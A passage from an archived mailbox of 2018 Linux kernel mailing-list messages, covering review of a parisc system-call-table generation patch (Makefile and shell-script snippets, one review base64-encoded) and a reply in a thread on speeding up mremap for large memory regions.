        $(call if_changed,systbl)

and check from the script and identify it.
This looks the direct method. Here I think the problem is
adding one more args

3. Without Makefile change we can identify it. No need to add extra flag

Makefile
------------
systbl_abi_syscall_table_c32 := common,32
$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
        $(call if_changed,systbl)

systbl.sh
-------------
    if [ ${out: -5} = "c32.h" ]; then
            if [ -z "$compat" ]; then
                emit $nxt $nr $entry
            else
                emit $nxt $nr $compat
            fi
        elif [ ${out: -4} = "64.h" -o  ${out: -4} = "32.h" ]; then
            emit $nxt $nr $entry
        fi

Here I was asking is there any better way to do the same.

Note: The name compat in Makefile may change to c32.
Note: This implementation remain same for spark and powerpc
hopefully. But Mips has extra one more interface. We need to consider
that also here.

>
> > diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> > new file mode 100644
> > index 0000000..7c9f268
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscall.tbl
> ...
> > +346     common  copy_file_range                 sys_copy_file_range
> > +347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> > +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> > +349     common  statx                           sys_statx
> > +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > \ No newline at end of file
>
> Here is the missing newline again. This should never happen if your text
> editor is configured correctly.
>
> > diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
> > new file mode 100644
> > index 0000000..607d4ca
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
> > @@ -0,0 +1,35 @@
> > +#!/bin/sh
> > +# SPDX-License-Identifier: GPL-2.0
> > +
> > +in="$1"
> > +out="$2"
> > +my_abis=`echo "($3)" | tr ',' '|'`
> > +prefix="$4"
> > +offset="$5"
> > +
> > +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> > +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> > +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
>
> Maybe use ${ARCH} instead of PARISC here to keep it the same
> across architectures?

Sure. FYI, x86/arm/s390 has the above implementation,

>
> > +    my_abi="$(cut -d'|' -f2 <<< $my_abis)"
> > +    while read nr abi name entry compat ; do
> > +       if [ $my_abi = "compat" ]; then
>
> This check seems really fragile, but if you add another argument to the
> script instead of listing "compat" as the second option in the
> list of ABIs, I think it's fine.

Hmm. Please share ur comment in the above for the same.

Thanks
Firoz

>
>         ARnd


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Sat, 13 Oct 2018 10:50:39 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20181013175039.GB213522@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
 <20181012125046.GA170912@joelaf.mtv.corp.google.com>
 <20181012.111836.1569129998592378186.davem@davemloft.net>
 <20181013013540.GA207108@joelaf.mtv.corp.google.com>
 <CAKOZueuNvWvn18vffJWpbpg7h-uScT8gXrrudTB2pnT4M2HJ_w@mail.gmail.com>
 <20181013014429.GB207108@joelaf.mtv.corp.google.com>
 <CAKOZues25aaKz3_AiyfJ=r2QBd5MghgY3ky_ptg4Z8=ST4DCgw@mail.gmail.com>
 <20181013021057.GA213522@joelaf.mtv.corp.google.com>
 <CAKOZueu2wdkeUFYLQ8qE48yJs1_uRz-9RVJRkp==CL=jp=Q8+g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539452929 26937 195.159.176.226 (13 Oct 2018 17:48:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 17:48:49 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: David Miller <davem@davemloft.net>, kirill@shutemov.name,
        linux-kernel <linux-kernel@vger.kernel.org>,
        kernel-team@android.com, Minchan Kim <minchan@kernel.org>,
        Ramon Pantin <pantin@google.com>,
        Hugh Dickins <hughd@google.com>,
        Lokesh Gidra <lokeshgidra@google.com>,
        Michal Hocko <mhocko@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        aryabinin@virtuozzo.com, luto@kernel.org, bp@alien8.de,
        catalin.marinas@arm.com, Chris Zankel <chris@zankel.net>,
        dave.hansen@linux.intel.com, elfring@users.sourceforge.net,
        fenghua.yu@intel.com, geert@linux-m68k.org, gxt@pku.edu.cn,
        deller@gmx.de, mingo@redhat.com, jejb@parisc-linux.org,
        jdike@addtoit.com, Jonas Bonn <jonas@southpole.se>,
        Julia Lawall <Julia.Lawall@lip6.fr>,
        kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia
To: dancol@google.com
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 19:48:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gBO1n-0006pt-MF
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 19:48:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726964AbeJNB2r (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 21:28:47 -0400
Original-Received: from mail-pf1-f195.google.com ([209.85.210.195]:37787 "EHLO
        mail-pf1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726896AbeJNB2q (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 21:28:46 -0400
Original-Received: by mail-pf1-f195.google.com with SMTP id j23-v6so7710170pfi.4
        for <linux-kernel@vger.kernel.org>; Sat, 13 Oct 2018 10:50:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=joelfernandes.org; s=google;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=GoWsMygASIRyu7PZgD3N2dBBnQZB9nQ/7GbuLV2HYnY=;
        b=gtX/3bFKdysbo0S38lPP9ATjDdsTysp7ptOg+SsEzBQmc5jRhOODzCYik6fd+BjPNr
         xu2Vp+XyGO4o3VTbAkLtyvZfSWRtUUHxernM8wIzLOXHfZUYx/YsB2m5iu16tCWuQG1m
         dx/4Vn6wKESA5zdAVp2ssOawvrRQIiujDiDAU=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=GoWsMygASIRyu7PZgD3N2dBBnQZB9nQ/7GbuLV2HYnY=;
        b=NwiFDaQdyyHRCWlnQffjTAD2o1Za2u9iEbLolgZ6O93SVgt3SR9fIxWvwCZcOsJ78M
         gGYbOXCgO8cv9IAi0kwB1P6rLaCXr2bWFydlhPfWh5mU1ZhdURz9BxRw+d3fHkwnaaxH
         E/5YqnYiLRVv36sL6WTy2QTa6qp/4RJL2VKE7YULBQU4asPWLLwhFqO2/nK124o74TTR
         nZ35ySrTGMs1fpvwz/jYMeZ0TaIpN0CPINPdikOS4BXDb8JXLVFOmV/Xzkax9ffGDEep
         jpCXBDJ/mi+/y3wZlFlEaefB7EaX9lldTgW7cCItUW7Y5MNWR4lg5acrWASKtEspFp2Y
         tXPg==
X-Gm-Message-State: ABuFfogT1aPuCHThBXaWD8ecImWYkoBqucOzhkk0pD24GSEnry5LL7v5
        HGsA9uOHhShX2rfGNIYg/guBtw==
X-Google-Smtp-Source: ACcGV61mIIBnEva6K1s4pwIUv1udY8Qs2DvoHn+puuc+AYRgF7l/b6wUFQE1+gRiz97iAhmfFDPhRQ==
X-Received: by 2002:a63:f64f:: with SMTP id u15-v6mr10134944pgj.258.1539453041895;
        Sat, 13 Oct 2018 10:50:41 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
        by smtp.gmail.com with ESMTPSA id t26-v6sm7479626pfa.158.2018.10.13.10.50.40
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Sat, 13 Oct 2018 10:50:40 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAKOZueu2wdkeUFYLQ8qE48yJs1_uRz-9RVJRkp==CL=jp=Q8+g@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898352 gmane.comp.emulators.kvm.arm.devel:19472 gmane.linux.ports.alpha:5330 gmane.linux.ports.hexagon:1928 gmane.linux.ports.ia64:29406 gmane.linux.ports.mips.general:67085 gmane.linux.kernel.mm:205264 gmane.linux.ports.parisc:29183 gmane.linux.ports.ppc64.devel:164238 gmane.linux.ports.riscv:1075 gmane.linux.ports.sh.devel:57653 gmane.linux.kernel.arc:4555
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898352>

On Fri, Oct 12, 2018 at 07:25:08PM -0700, Daniel Colascione wrote:
[...] 
> > But anyway, I think this runtime detection thing is not needed. THP is
> > actually expected to be as fast as this anyway, so if that's available then
> > we should already be as fast.
> 
> Ah, I think the commit message is confusing. (Or else I'm misreading
> the patch now.) It's not quite that we're disabling the feature when
> THP is enabled anywhere, but rather that we use the move_huge_pmd path
> for huge PMDs and use the new code only for non-huge PMDs. (Right?) If
> that's the case, the commit message shouldn't say "Incase THP is
> enabled, the optimization is skipped". Even if THP is enabled on a
> system generally, we might use the new PMD-moving code for mapping
> types that don't support THP-ization, right?

That is true. Ok, I guess I can update the commit message to be more accurate
about that.

> > This is for non-THP where THP cannot be enabled
> > and there is still room for some improvement. Most/all architectures will be
> > just fine with this. This flag is more of a safety-net type of thing where in
> > the future if there is this one or two weird architectures that don't play
> > well, then they can turn it off at the architecture level by not selecting
> > the flag. See my latest patches for the per-architecture compile-time
> > controls. Ideally we'd like to blanket turn it on on all, but this is just
> > playing it extra safe as Kirill and me were discussing on other threads.
> 
> Sure. I'm just pointing out that the 500x performance different turns
> the operation into a qualitatively different feature, so if we expect
> to actually ship a mainstream architecture without support for this
> thing, we should make it explicit. If we're not, we shouldn't.

We can make it explicit by enabling it in such a mainstream architecture is
my point. Also if the optimization is not doing what its supposed to, then
userspace will also just know by measuring the time.

thanks,

 - Joel



From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Eugene Syromiatnikov <esyr@redhat.com>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation
	support
Date: Sun, 14 Oct 2018 03:06:58 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20181014010658.GB717@asgard.redhat.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1539479089 10557 195.159.176.226 (14 Oct 2018 01:04:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 14 Oct 2018 01:04:49 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Kate Stewart <kstewart@linuxfoundation.org>, linux-arch@vger.kernel.org,
 arnd@arndb.de, linux-parisc@vger.kernel.org, y2038@lists.linaro.org,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>, Helge Deller <deller@gmx.de>,
 "James E . J . Bottomley" <jejb@parisc-linux.org>,
 linux-kernel@vger.kernel.org, marcin.juszkiewicz@linaro.org,
 deepa.kernel@gmail.com, Philippe Ombredanne <pombredanne@nexb.com>,
 Thomas Gleixner <tglx@linutronix.de>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: y2038-bounces@lists.linaro.org Sun Oct 14 03:04:42 2018
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1gBUpm-0002aN-DN
	for glky-y2038@m.gmane.org; Sun, 14 Oct 2018 03:04:42 +0200
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 43D7A62073; Sun, 14 Oct 2018 01:06:52 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id E56A461555;
	Sun, 14 Oct 2018 01:06:46 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 4404861FFF; Sun, 14 Oct 2018 01:06:44 +0000 (UTC)
Original-Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28])
 by lists.linaro.org (Postfix) with ESMTPS id EA64B61555
 for <y2038@lists.linaro.org>; Sun, 14 Oct 2018 01:06:42 +0000 (UTC)
Original-Received: from smtp.corp.redhat.com (int-mx06.intmail.prod.int.phx2.redhat.com
 [10.5.11.16])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id B05C93082133;
 Sun, 14 Oct 2018 01:06:41 +0000 (UTC)
Original-Received: from asgard.redhat.com (ovpn-200-28.brq.redhat.com [10.40.200.28])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id A239280795;
 Sun, 14 Oct 2018 01:06:36 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
X-Scanned-By: MIMEDefang 2.79 on 10.5.11.16
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.5.110.42]); Sun, 14 Oct 2018 01:06:41 +0000 (UTC)
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:3524 gmane.linux.kernel.cross-arch:47789 gmane.linux.ports.parisc:29184 gmane.linux.kernel:2898393
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/3524>

T24gRnJpLCBPY3QgMTIsIDIwMTggYXQgMDM6MTM6NTlQTSArMDUzMCwgRmlyb3ogS2hhbiB3cm90
ZToKPiBkaWZmIC0tZ2l0IGEvYXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGxzL3N5c2NhbGwudGJs
IGIvYXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGxzL3N5c2NhbGwudGJsCj4gbmV3IGZpbGUgbW9k
ZSAxMDA2NDQKPiBpbmRleCAwMDAwMDAwLi43YzlmMjY4Cgo+ICs4NiAgICAgIGNvbW1vbiAgdXNl
bGliICAgICAgICAgICAgICAgICAgICAgICAgICBzeXNfbmlfc3lzY2FsbAoKQWdhaW4sIHdoeSBp
cyB0aGlzIGRlZmluaXRpb24gbGVmdCwgd2hpbGUgb3RoZXJzIGhhdmUgYmVlbiByZW1vdmVkPwoK
PiArMzQ4ICAgICBjb21tb24gIHB3cml0ZXYyICAgICAgICAgICAgICAgICAgICAgICAgc3lzX3B3
cml0ZXYyICAgICAgICAgICAgICAgICAgICBjb21wYXRfc3lzX3B3cml0ZXYyCj4gKzM0OSAgICAg
Y29tbW9uICBzdGF0eCAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c19zdGF0eAo+ICszNTAJ
Y29tbW9uICBpb19wZ2V0ZXZlbnRzCQkJc3lzX2lvX3BnZXRldmVudHMJCWNvbXBhdF9zeXNfaW9f
cGdldGV2ZW50cwoKVGFiIGluc3RlYWQgb2Ygc3BhY2VzLgoKPiBkaWZmIC0tZ2l0IGEvYXJjaC9w
YXJpc2Mva2VybmVsL3N5c2NhbGxzL3N5c2NhbGxoZHIuc2ggYi9hcmNoL3BhcmlzYy9rZXJuZWwv
c3lzY2FsbHMvc3lzY2FsbGhkci5zaAo+IG5ldyBmaWxlIG1vZGUgMTAwNjQ0Cj4gaW5kZXggMDAw
MDAwMC4uNjA3ZDRjYQo+IC0tLSAvZGV2L251bGwKPiArKysgYi9hcmNoL3BhcmlzYy9rZXJuZWwv
c3lzY2FsbHMvc3lzY2FsbGhkci5zaAo+IEBAIC0wLDAgKzEsMzUgQEAKPiArIyEvYmluL3NoCgov
YmluL3NoIC1lZnUKCj4gKyMgU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEdQTC0yLjAKCiJleHBv
cnQgTEFORz1DIiwgZHVlIHRvIHVzYWdlIG9mIHNlZC9ncmVwL3NvcnQuCgo+ICsKPiAraW49IiQx
Igo+ICtvdXQ9IiQyIgo+ICtteV9hYmlzPWBlY2hvICIoJDMpIiB8IHRyICcsJyAnfCdgCj4gK3By
ZWZpeD0iJDQiCj4gK29mZnNldD0iJDUiCj4gKwo+ICtmaWxlZ3VhcmQ9X1VBUElfQVNNX1BBUklT
Q19gYmFzZW5hbWUgIiRvdXQiIHwgc2VkIFwKPiArICAgIC1lICd5L2FiY2RlZmdoaWprbG1ub3Bx
cnN0dXZ3eHl6L0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaLycgXAo+ICsgICAgLWUgJ3MvW15B
LVowLTlfXS9fL2cnIC1lICdzL19fL18vZydgCj4gK2dyZXAgLUUgIl5bMC05QS1GYS1mWHhdK1tb
OnNwYWNlOl1dKyR7bXlfYWJpc30iICIkaW4iIHwgc29ydCAtbiB8ICgKCmdyZXAgLUUgJ15bWzp4
ZGlnaXQ6XVh4XStbWzpzcGFjZTpdXSsnIiR7bXlfYWJpc30iICIkaW4iCnNvcnQgLW4gLWsxLDEK
Cj4gKyAgICBlY2hvICIjaWZuZGVmICR7ZmlsZWd1YXJkfSIKPiArICAgIGVjaG8gIiNkZWZpbmUg
JHtmaWxlZ3VhcmR9Igo+ICsgICAgZWNobyAiIgoKCWNhdCA8PC1FT0YKCQkjaWZuZGVmICR7Zmls
ZWd1YXJkfQoJCSNkZWZpbmUgJHtmaWxlZ3VhcmR9CgoJRU9GCgo+ICsKPiArICAgIG54dD0wCj4g
KyAgICB3aGlsZSByZWFkIG5yIGFiaSBuYW1lIGVudHJ5IGNvbXBhdCA7IGRvCj4gKwlpZiBbIC16
ICIkb2Zmc2V0IiBdOyB0aGVuCj4gKwkgICAgZWNobyAtZSAiI2RlZmluZSBfX05SXyR7cHJlZml4
fSR7bmFtZX1cdCRuciIKPiArCWVsc2UKPiArCSAgICBlY2hvIC1lICIjZGVmaW5lIF9fTlJfJHtw
cmVmaXh9JHtuYW1lfVx0KCRvZmZzZXQgKyAkbnIpIgo+ICsJZmkKCmVjaG8gb3B0aW9ucyBhcmUg
bm90IHBvcnRhYmxlOyBzb21ldGhpbmcgbGlrZQoKCXByaW50ZiAiI2RlZmluZSBfX05SXyVzJXNc
dCglcyArICVzKSIgIiR7cHJlZml4fSIgIiR7bmFtZX0iICIke29mZnNldH0iICIke25yfSIKCj4g
KwlueHQ9JG5yCj4gKwlsZXQgbnh0PW54dCsxCgoibGV0IiBpcyBhIGJhc2ggZXh0ZW5zaW9uLCBw
b3NpeC1jb25mb3JtYW50IGV4cHJlc3Npb24gd291bGQgYmUKCglueHQ9JCgobnIgKyAxKSkKCihJ
IHdvdWxkIGFsc28gY2hlY2sgdGhhdCBuciA+PSBueHQsIGhvd2V2ZXIpCgo+ICsgICAgZG9uZQo+
ICsKPiArICAgIGVjaG8gIiIKPiArICAgIGVjaG8gIiNpZmRlZiBfX0tFUk5FTF9fIgo+ICsgICAg
ZWNobyAtZSAiI2RlZmluZSBfX05SX3N5c2NhbGxzXHQkbnh0Igo+ICsgICAgZWNobyAiI2VuZGlm
Igo+ICsgICAgZWNobyAiIgo+ICsgICAgZWNobyAiI2VuZGlmIC8qICR7ZmlsZWd1YXJkfSAqLyIK
CgljYXQgPDwtRU9GCgoJCSNpZmRlZiBfX0tFUk5FTF9fCgkJIyBkZWZpbmUgX19OUl9zeXNjYWxs
c1x0JHtueHR9CgkJI2VuZGlmCgoJCSNlbmRpZiAvKiAke2ZpbGVndWFyZH0gKi8KCUVPRgoKPiAr
KSA+ICIkb3V0Igo+IGRpZmYgLS1naXQgYS9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbHMvc3lz
Y2FsbHRibC5zaCBiL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxscy9zeXNjYWxsdGJsLnNoCj4g
bmV3IGZpbGUgbW9kZSAxMDA2NDQKPiBpbmRleCAwMDAwMDAwLi4wNGFiZGU3Cj4gLS0tIC9kZXYv
bnVsbAo+ICsrKyBiL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxscy9zeXNjYWxsdGJsLnNoCj4g
QEAgLTAsMCArMSw0NiBAQAo+ICsjIS9iaW4vc2gKPiArIyBTUERYLUxpY2Vuc2UtSWRlbnRpZmll
cjogR1BMLTIuMAo+ICsKPiAraW49IiQxIgo+ICtvdXQ9IiQyIgo+ICtteV9hYmlzPWBlY2hvICIo
JDMpIiB8IHRyICcsJyAnfCdgCj4gK29mZnNldD0iJDQiCj4gKwo+ICtlbWl0KCkgewo+ICsgICAg
bnh0PSIkMSIKPiArICAgIGlmIFsgLXogIiRvZmZzZXQiIF07IHRoZW4KPiArCW5yPSIkMiIKPiAr
ICAgIGVsc2UKPiArCW5yPSIkMiIKPiArCW5yPSQoKG5yK29mZnNldCkpCj4gKyAgICBmaQo+ICsg
ICAgZW50cnk9IiQzIgo+ICsKPiArICAgIHdoaWxlIFsgJG54dCAtbHQgJG5yIF07IGRvCgpJdCB3
b3VsZCBicmVhayBuaWNlbHkgaWYgbnh0PSItbiB4IC1vIDEiIG9yIHNvbWV0aGluZyBsaWtlIHRo
YXQuCgo+ICsJZWNobyAiX19TWVNDQUxMKCRueHQsIHN5c19uaV9zeXNjYWxsLCApIgo+ICsgICAg
ICAgIGxldCBueHQ9bnh0KzEKPiArICAgIGRvbmUKPiArICAgIGVjaG8gIl9fU1lTQ0FMTCgkbnh0
LCAkZW50cnksICkiCj4gK30KPiArCj4gK2dyZXAgLUUgIl5bMC05QS1GYS1mWHhdK1tbOnNwYWNl
Ol1dKyR7bXlfYWJpc30iICIkaW4iIHwgc29ydCAtbiB8ICgKPiArICAgIGlmIFsgLXogIiRvZmZz
ZXQiIF07IHRoZW4KPiArCW54dD0wCj4gKyAgICBlbHNlCj4gKwlueHQ9JG9mZnNldAo+ICsgICAg
ZmkKPiArCj4gKyAgICBteV9hYmk9IiQoY3V0IC1kJ3wnIC1mMiA8PDwgJG15X2FiaXMpIgoKCW15
X2FiaT0iJHtteV9hYmlzIyp8fSIKCkJ1dCBpdCBsb29rcyBsaWtlIHRoYXQgJG15X2FiaXMgaW5j
bHVkZXMgcGFyZW50aGVzZXMgYW5kIHRoaXMgY29kZQppcyBicm9rZW4uCgo+ICsgICAgd2hpbGUg
cmVhZCBuciBhYmkgbmFtZSBlbnRyeSBjb21wYXQgOyBkbwo+ICsJaWYgWyAkbXlfYWJpID0gImNv
bXBhdCIgXTsgdGhlbgo+ICsJICAgIGlmIFsgLXogIiRjb21wYXQiIF07IHRoZW4KPiArCQllbWl0
ICRueHQgJG5yICRlbnRyeQo+ICsJICAgIGVsc2UKPiArCQllbWl0ICRueHQgJG5yICRjb21wYXQK
PiArCSAgICBmaQo+ICsJZWxzZQo+ICsJICAgIGVtaXQgJG54dCAkbnIgJGVudHJ5Cj4gKwlmaQo+
ICsgICAgICAgIGxldCBueHQ9bnh0KzEKPiArICAgIGRvbmUKPiArKSA+ICIkb3V0Igo+IC0tIAo+
IDEuOS4xCj4gCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
ClkyMDM4IG1haWxpbmcgbGlzdApZMjAzOEBsaXN0cy5saW5hcm8ub3JnCmh0dHBzOi8vbGlzdHMu
bGluYXJvLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3kyMDM4Cg==


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Mon, 15 Oct 2018 10:18:07 +0530
Lines: 172
Approved: news@gmane.org
Message-ID: <CALxhOngwHfFzCGXknF4_CHjD=4LeM8BnrZ+s-p6ZRcJ3G8i_RA@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-4-git-send-email-firoz.khan@linaro.org> <c6280818c999449646ec216984f2df9e@sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539578781 18864 195.159.176.226 (15 Oct 2018 04:46:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Oct 2018 04:46:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>,
        linux-parisc-owner@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 15 06:46:15 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gBuli-0004lL-U9
	for glk-linux-kernel-4@m.gmane.org; Mon, 15 Oct 2018 06:46:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726635AbeJOMbv (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 15 Oct 2018 08:31:51 -0400
Original-Received: from mail-yb1-f193.google.com ([209.85.219.193]:33379 "EHLO
        mail-yb1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726098AbeJOMbv (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 15 Oct 2018 08:31:51 -0400
Original-Received: by mail-yb1-f193.google.com with SMTP id u88-v6so7026172ybi.0
        for <linux-kernel@vger.kernel.org>; Sun, 14 Oct 2018 21:48:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=urTikZOFC/xFyAZBVpc/2F4KrKfhCiBOGIIT9NNjgt8=;
        b=MIUx1o8CV9bAFvr3xxRfpeHsi59P7DkV1MkqUUi/yH7H6S5vbc3LTrW458jpb9ijOw
         DpIqa76bbE77AdyIRyBjpHPqFHDrquxGb2dMnscAH/VMJiHCdijdvn2wMp6LyNVhxZpE
